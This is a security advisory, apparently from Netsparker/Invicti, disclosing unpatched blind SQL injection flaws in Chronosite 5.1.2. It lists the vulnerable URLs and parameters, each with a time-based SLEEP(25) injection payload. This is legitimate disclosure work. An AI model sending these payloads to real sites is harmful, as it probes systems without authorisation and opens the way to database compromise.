Information
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Advisory by Netsparker (now Invicti)
Name: Blind SQL Injection Vulnerability in Chronosite
Affected Software : Chronosite
Affected Versions: 5.1.2
Vendor Homepage : http://www.chronosite.org/ 
Vulnerability Type : Blind SQL Injection
Severity : Critical
Status : Not Fixed
Invicti Advisory Reference : NS-17-028

Technical Details
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Proof of Concept URLs for Blind SQL Injection vulnerabilities in Chronosite;

Url /chronosite_512/forum.php
Parameter Name theme
Parameter Type POST
Attack Pattern '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

Url /chronosite_512/index.php?numero=%27%2b((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))%2b%27
Parameter Name numero
Parameter Type GET
Attack Pattern '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

Url /chronosite_512/index.php
Parameter Name numero
Parameter Type POST
Attack Pattern '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

Url /chronosite_512/livredor.php
Parameter Name kestion
Parameter Type POST
Attack Pattern '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

Url /chronosite_512/livredor.php
Parameter Name cherche
Parameter Type POST
Attack Pattern '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

For more information on SQL Injection vulnerabilities read the article SQL Injection.

Advisory Timeline
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02 Feb 2017 - Issue reported
12 Jun 2017 - Advisory released

Solution
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No solution available at the time of publishing this advisory.

Credits & Authors
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These issues have been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.